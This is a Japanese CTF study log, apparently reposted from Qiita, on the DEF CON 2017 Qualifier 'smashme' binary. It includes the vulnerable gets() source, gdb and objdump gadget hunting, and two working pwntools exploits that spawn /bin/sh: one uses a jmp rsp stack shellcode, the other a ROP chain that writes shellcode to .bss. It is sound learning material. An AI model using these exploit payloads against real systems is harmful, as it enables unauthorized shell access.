DEF CON CTF Qualifier 2017 smashme を勉強した記録
DEF CON CTF Qualifier 2017 smashme を勉強した記録
No eXecute bit(NX)無効
※ python + pwn でアセンブラをマシン語に変換を追記
NTT DATA のコラムで勉強
Solution:
bof で スタックに直にshellコードを書いて jmp rsp で実行する作戦。
リターンアドレスを,jmp rspのアドレスに書き換え,その下のshellコードを実行する。
// smashme.c
// gcc -fno-stack-protector -z execstack -static smashme.c -o smashme
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(int argc, char *argv[]){
char input[0x40];
puts("Welcome to the Dr. Phil Show. Wanna smash?");
fflush(stdin);
gets(input); // 0x40(64バイト)以上でオーバーフロー
// 特定の文字列を含んでいるかチェック
if(strstr(input, "Smash me outside, how bout dAAAAAAAAAAA")){
return 0;
}
exit(0);
bof
$ gdb -q ./smashme
gdb-peda$ b main
gdb-peda$ r
b main で止まった時のスタック
一番上に push ebp があり,
その下に main関数のリターンアドレス 0x401159 が見える
gdb-peda$ pdisass main
Dump of assembler code for function main:
0x0000000000400b6d <+0>: push rbp
0x0000000000400b6e <+1>: mov rbp,rsp
=> 0x0000000000400b71 <+4>: sub rsp,0x50
0x0000000000400b75 <+8>: mov DWORD PTR [rbp-0x44],edi
0x0000000000400b78 <+11>: mov QWORD PTR [rbp-0x50],rsi
0x0000000000400b7c <+15>: lea rdi,[rip+0x91625] # 0x4921a8
0x0000000000400b83 <+22>: call 0x410420 <puts>
0x0000000000400b88 <+27>: mov rax,QWORD PTR [rip+0x2b8c19] # 0x6b97a8 <stdin>
0x0000000000400b8f <+34>: mov rdi,rax
0x0000000000400b92 <+37>: call 0x40fe80 <fflush>
0x0000000000400b97 <+42>: lea rax,[rbp-0x40]
0x0000000000400b9b <+46>: mov rdi,rax
0x0000000000400b9e <+49>: mov eax,0x0
0x0000000000400ba3 <+54>: call 0x410270 <gets>
0x0000000000400ba8 <+59>: lea rax,[rbp-0x40]
0x0000000000400bac <+63>: lea rsi,[rip+0x91625] # 0x4921d8
0x0000000000400bb3 <+70>: mov rdi,rax
0x0000000000400bb6 <+73>: call 0x400468
0x0000000000400bbb <+78>: test rax,rax
0x0000000000400bbe <+81>: je 0x400bc7 <main+90>
0x0000000000400bc0 <+83>: mov eax,0x0
0x0000000000400bc5 <+88>: jmp 0x400bd1 <main+100>
0x0000000000400bc7 <+90>: mov edi,0x0
0x0000000000400bcc <+95>: call 0x40ea90 <exit>
0x0000000000400bd1 <+100>: leave
0x0000000000400bd2 <+101>: ret
End of assembler dump.
getsの後にブレークポイントを設定,cで流した後,AAA を入力する
gdb-peda$ b *0x0000000000400ba8
Breakpoint 2 at 0x400ba8
gdb-peda$ c
Continuing.
Welcome to the Dr. Phil Show. Wanna smash?
AAA
スタック見てみる
計算通り,A * 64 で push ebp にぶつかり,その次がリターンアドレスだ
よって A は (64 + 8) = 72 必要。
jmp rspをさがす
Intel Manual --> objdump
jmp rsp の opcode を信憑性高くまとめているサイトは発見できなかった。
よって本家の2000ページ以上あるpdfを調べ上げた。
レジスタをジャンプ先にする jmp命令 は ff xx の2バイト (xx はレジスタを識別するオペランド)
レジスタをジャンプ先にする jmp命令において,レジスタを識別するオペランド
例えば
jmp rax であれば ff e0
jmp rsp であれば ff e4
objdumpで探してみる
objdump -d -M intel ./smashme | less
49d842: 48 8b 1d ff e4 22 00 mov rbx,QWORD PTR [rip+0x22e4ff] # 6cbd48 <seen_objects>
あった。
0x49d845 でいけそう
ただし,今まで私は,objdump | less を使ってきたが,限界も感じる。
そこで先生も使っていた rp++ を使ってみた。
rp++
$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64
$ ./rp-lin-x64 -f ./smashme --rop=1 --unique | grep "jmp rsp"
0x004c25aa: clc ; jmp rsp ; (1 found)
0x004c54f2: cli ; jmp rsp ; (1 found)
0x0045f782: jmp rsp ; (5 found)
0x004bd849: sar ebp, cl ; jmp rsp ; (1 found)
0x004bd84a: std ; jmp rsp ; (1 found)
0x004c25a9: xor al, bh ; jmp rsp ; (1 found)
0x49d845は含まれていない。
0x45f782を検証してみる
objdump -d -M intel ./smashme | less
45f77c: 48 c7 85 78 ef ff ff mov QWORD PTR [rbp-0x1088],0x4b2be4
45f783: e4 2b 4b 00
やはり思った通り,less の検索では発見できない場所で発見してる。
python + pwn
知らなかった。こんなの
$ python
Python 2.7.17 (default, Feb 27 2021, 15:10:58)
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> context.arch = "amd64"
>>> asm("jmp rsp")
'\xff\xe4'
>>> binary = elf.load("smashme")
[*] '/home/xxx/share/smashme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
>>> hex(next(binary.search("\xff\xe4")))
'0x45f782'
攻撃コード
# coding: UTF-8
# https://www.intellilink.co.jp/article/column/ctf01.html
import pwn
import struct
#io = pwn.remote("smashme_omgbabysfirst.quals.shallweplayaga.me ", 57348)
io = pwn.process("./smashme")
ret = io.readuntil("Welcome to the Dr. Phil Show. Wanna smash?")
print(ret)
smash_me = b"Smash me outside, how bout dAAAAAAAAAAA"
bufsize = 64+8
addr_jmp_rsp = 0x49d845
'''
49d842: 48 8b 1d ff e4 22 00 mov rbx,QWORD PTR [rip+0x22e4ff] # 6cbd48 <seen_objects>
'''
# Linux/x86-64 - Execute /bin/sh - 27 bytes by Dad`
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
s = smash_me
s += b"A" * (bufsize - len(smash_me))
#s += struct.pack("<Q",addr_jmp_rsp)
s += pwn.p64(addr_jmp_rsp)
s += shellcode
print(s)
#io.send(s)
io.sendline(s)
io.interactive()
実行
# python smashme1.py
[+] Starting local process './smashme': pid 318
Welcome to the Dr. Phil Show. Wanna smash?
Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x82E\x00\x00H\xbbѝ\x96\x91Ќ\x97\xffHST_\x99RWT^\xb0;\x0f
[*] Switching to interactive mode
$ ls
なぜか1回目のlsには反応しないけど,2回目のlsで動いた。
io.send(s) --> io.sendline(s)に変更したら,1回のlsで動くようになった。
st98 の日記帳 で勉強
st98様,大変参考になりました。ありがとうございます。
さっそく新技
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
先生によると
bss セグメントにシェルコードを置いて実行してしまいましょう。
とある。
bss セグメント? 初耳
んーよくわらない。
先生の攻撃コードに出てくる
payload += p64(0x4014d6) # pop rdi; ret
payload += p64(0x6cab60) # .bss
payload += p64(0x40fad0) # gets
payload += p64(0x6cab60) # .bss
の検証
pop rdi ; ret
$ objdump -d -M intel ./smashme | less
4014d5: 41 5f pop r15
4014d7: c3 ret
gets
$ objdump -d -M intel ./smashme | less
4009e2: e8 e9 f0 00 00 call 40fad0 <_IO_gets>
.bss
$ objdump -h ./smashme | less
25 .bss 00001878 00000000006cab60 00000000006cab60 000cab50 2**5
ALLOC
攻撃コード
# coding: UTF-8
# https://st98.github.io/diary/posts/2017-05-02-def-con-ctf-2017-qualifiers.html
import time
from pwn import *
context(os='linux', arch='amd64')
payload = ''
payload += 'Smash me outside, how bout dAAAAAAAAAAA'
payload += 'A' * (64+8 - len(payload))
payload += p64(0x4014d6) # pop rdi; ret
payload += p64(0x6cab60) # .bss
payload += p64(0x40fad0) # gets
payload += p64(0x6cab60) # .bss <-- gets内のretでキックされ,shellコードが実行される
print payload # <-- gets(.bss) が実行され,入力待ちになる
time.sleep(.5)
print asm(shellcraft.sh()) # <-- gets(.bss) にshellコードが送られ,.bssに書き込まれる
実行
$ (python smashme2.py; cat) | ./smashme
Welcome to the Dr. Phil Show. Wanna smash?
ls
仕組みは理解できないが,動いた。
gets で標準入力に渡されたシェルコードを .bss に書いてるところまでは理解できた。
printが2か所あるのは,たぶんそのため。
そして,getsはcallで呼ばれたと勘違いして ret し,.bssに書かれたシェルコードが動き出すということか。
こういうのを ret2read と呼ぶのかな?
若い人達が pwn にはまるわけだ。知的ゲームだ。
callerとcallee
gets
Author And Source
この問題について(DEF CON CTF Qualifier 2017 smashme を勉強した記録), 我々は、より多くの情報をここで見つけました https://qiita.com/housu_jp/items/9b64e76b06674d9e1866著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .